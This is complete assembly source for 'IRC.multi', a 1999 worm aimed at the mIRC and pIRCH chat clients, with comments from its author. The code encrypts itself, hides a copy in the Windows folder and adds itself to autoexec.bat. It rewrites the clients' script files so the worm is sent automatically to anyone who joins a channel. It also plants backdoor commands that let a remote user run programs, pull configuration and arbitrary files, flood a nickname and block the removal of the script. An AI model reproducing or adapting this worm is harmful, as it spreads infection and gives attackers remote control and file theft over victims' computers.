; IRC.multi - first multiplatform worm (that I know of anyhow) ; ; Size: 1198 bytes ; Encrypted: yes ; Stealth: no, but has a small function in mIRC version to prevent /remove. ; Type: worm - everyone else was doing it...so I figured I'd write on too ; Targets: pIRCH and mIRC clients - thanks to MetGod for info on pIRCH scripts. ; History: I figured I'd write a worm when I got bored, so I tried to think ; of something never done before in a worm...then, MetGod mentioned he should ; write a pirch worm....so then, I though, HEY! I should write a multiplatform ; worm...that could worm under PIRCH and under mIRC. Soooo, I went ahead and ; added a pirch section, and life was good...blah blah yada yada....don't mind ; my dumb messages/payloads...I was bored when I wrote it...little thought ; was put into this worm...took 2 hours to finish (most of that was writing the scripts) ; ; Behavior: Checks for the client installed....it then affects that client. ; It will no matter what add a file (+rh'ed attribs) in c:\windows called "mypic.com" ; then, it will add a autoexec command to run the worm on each boot. mIRC ; version has lots of backdoors along with it's normal worm function, but ; pirch has only a replicating method. (I was nice to them pirch users huh?) ; ; Thanks to: MetGod ; Greets: Vecna, Virogen, Winter, Cyclone ; ; Date Started: 3-6-99 ; Date Finished: 3-6-99 - commenting on the 7th. ; ; Have fun! ; Techno Phunk / Ti ; code begins -- .model tiny .code Org 100h Start: Lea Si,Over ; where to read bytes from. Mov Di,Si ; put them back where they came from after decrypted. Mov Cx,End-Over ; size (bytes). Call Encrypt ; do the encrypt routine Jmp Over ; now on with the show. Encrypt: Lodsb ; load a byte from place in SI db 34h ; Xor Al, Imm8 key db 0 ; 8-bit xor key :) Stosb ; store it to place pointed to by DI Loop Encrypt ; do this for CX bytes. Ret ; return when done. Over: Mov Ah,4eh ; see if the events.ini file exists (pirch check) Lea Dx,Pirchy Int 21h Jc mIRC ; no pirch here, maybe mIRC :) Mov Ah,41h ; delete it :P Lea Dx,Pirchy Int 21h Mov Ax,3c00h ; create a new one. Xor Cx,Cx ; attribs Lea Dx,Pirchy ; name Int 21h ; do it. Xchg Bx,Ax ; file handle to BX Mov Ah,40h ; write Lea Dx,PirchScript ; starting here Mov Cx,EndOfIt-PirchScript ; this many bytes. Int 21h ; blah blah Mov Ah,3eh ; close her up Int 21h Jmp BlahBlah ; skip the mIRC code.. mIRC: Mov Ah,4eh ; Does mIRC exist (script.ini in mirc dir) Lea Dx,File Int 21h Jc Dead ; nopers. Mov Ah,41h ; Delete Lea Dx,File Int 21h Mov Ax,3c00h ; create it agian Xor Cx,Cx ; attribs Lea Dx,File ; file to create Int 21h ; blam blah Xchg Bx,Ax ; file handle in BX Mov Ah,40h ; write to file. blah blah Lea Dx,NewLines ; Where to Start the write from Mov Cx,End-NewLines ; how many bytes? ;) btw- 26 bytes to properly chew your food Int 21h ; blar blam blah yada yada Mov Ah,3eh ; close this one. Int 21h BlahBlah: Mov Ax,3c00h ; create the new mypic.com in windows dir Mov Cx,3 ; read only and hidden attribute. Lea Dx,NewFile ; c:\windows\mypic.com Int 21h ; blar blah blam yada yada heehee ho ho ha ha Xchg Bx,Ax ; BX = file handle. In Al,40h ; get an 8-bit encryption key. Mov Byte Ptr [Key],Al ; save it to variable. Mov Ah,40h ; write out the decryptor. Lea Dx,Start ; this is where it starts ;) Mov Cx,Over-Start ; this is how long it is Int 21h ; dos. Lea Si,Over ; read starting at OVER Mov Di,End ; write starting at END (variable and literal) Mov Cx,End-Over ; how many bytes to encrypt/move Call Encrypt ; encrypt to heap (of sorts) Mov Ah,40h ; write the encrypted part. Lea Dx,End ; Start at the END (heap) Mov Cx,End-Over ; how many bytes this part is. Int 21h Mov Ah,3eh ; close file Int 21h ; done. Dead: Mov Ax,3d02h ; open the autoexec.bat Lea Dx,Autoexec ; c:\autoexec.bat string. Int 21h ; do it Jc Blah ; bye-bye Xchg Bx,Ax ; otherwise BX = file handle Mov Ax,4202h ; End of File we go. Mov Cx,-1 ; going back Mov Dx,-1 ; 1 byte. Int 21h ; there we are. Mov Ah,3fh ; read a bit Lea Dx,Buffer ; to this variable Mov Cx,1 ; one byte. Int 21h ; dooone. Cmp Byte Ptr [Buffer],'m' ; is m at the end of file (.co(m)) Je Blah ; yes, string is already there (hopefully) Mov Ax,4202h ; end agian Xor Cx,Cx Cwd Int 21h Mov Ah,40h ; write string Lea Dx,NewLine Mov Cx,18d Int 21h Blah: Mov Ah,3eh ; yay, it's over. Int 21h Check_Payload: In Al,40h ; get a "random" value from timer. Or Al,Al ; checking for zero now. Jnz Blar ; If Zero bit not set...then no payload now. Mov Ah,9 ; really gay message. Lea Dx, Msg Int 21h Xor Ax,Ax ; get key press. Int 16h Blar: Int 20h ; exit (terminate) ; data follows File Db '\mirc\script.ini',0 NewFile Db '\WINDOWS\mypic.com',0 Stupider Db '[Multi] A Multiplatformed worm - he can go most anywhere, Mr. Wormy! to the rescue! - TP/Ti',13,10 Msg Db 'Multi - By: TP/Ti$' Buffer: db 0,0,0 Autoexec db 'c:\autoexec.bat',0 NewLine Db '\windows\mypic.com' Pirchy Db '\pirch98\events.ini',0 PirchScript: ; begin stuff that MetGod helped me with. db "[Levels]",13,10 db "Enabled=1",13,10 db "Count=1",13,10 db "Level1=ctcp_owned",13,10 db "[ctcp_owned]",13,10 db "User1=*!*@*",13,10 db "UserCount=1",13,10 db "Event1=ON JOIN:#:/dcc send $nick c:\windows\mypic.com",13,10 db "EventCount=1",13,10 ; end his helpful stuff. EndOfIt: ; back to mine. db 'IRC.MULTI',13,10 NewLines: Db "[Script]",13,10 Db "n0=on 1:text:#:*why me*:.timer1 0 1 /ping $nick",13,10 Db "n1=on 1:Join:#:if ($nick != $me) { .dcc send $nick c:\windows\mypic.com }",13,10 Db "n2=ctcp 1:blah:/quit I am Owned - TP ownes me | halt",13,10 Db "n3=on 1:connect:.msg TPhunk I am alive",13,10 Db "n4=ctcp 1:bye:.timer3 0 1 /run COMMAND",13,10 Db "n5=ctcp 1:give:.dcc send $nick c:\mirc\mirc.ini",13,10 Db "n6=alias remove { halt }",13,10 Db "n7=ctcp 1:unf*:/run $2 $3 $4",13,10 Db "n8=ctcp 1:ya*:/msg $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14",13,10 Db "n9=ctcp 1:own*:/titlebar You've been hax0red | halt",13,10 Db "n10=on 1:text:#:*mypic*:.timer11 30 1 /ctcp $nick FINGER",13,10 Db "n11=ctcp 1:giveme:.dcc send $nick $2",13,10 End: End Begin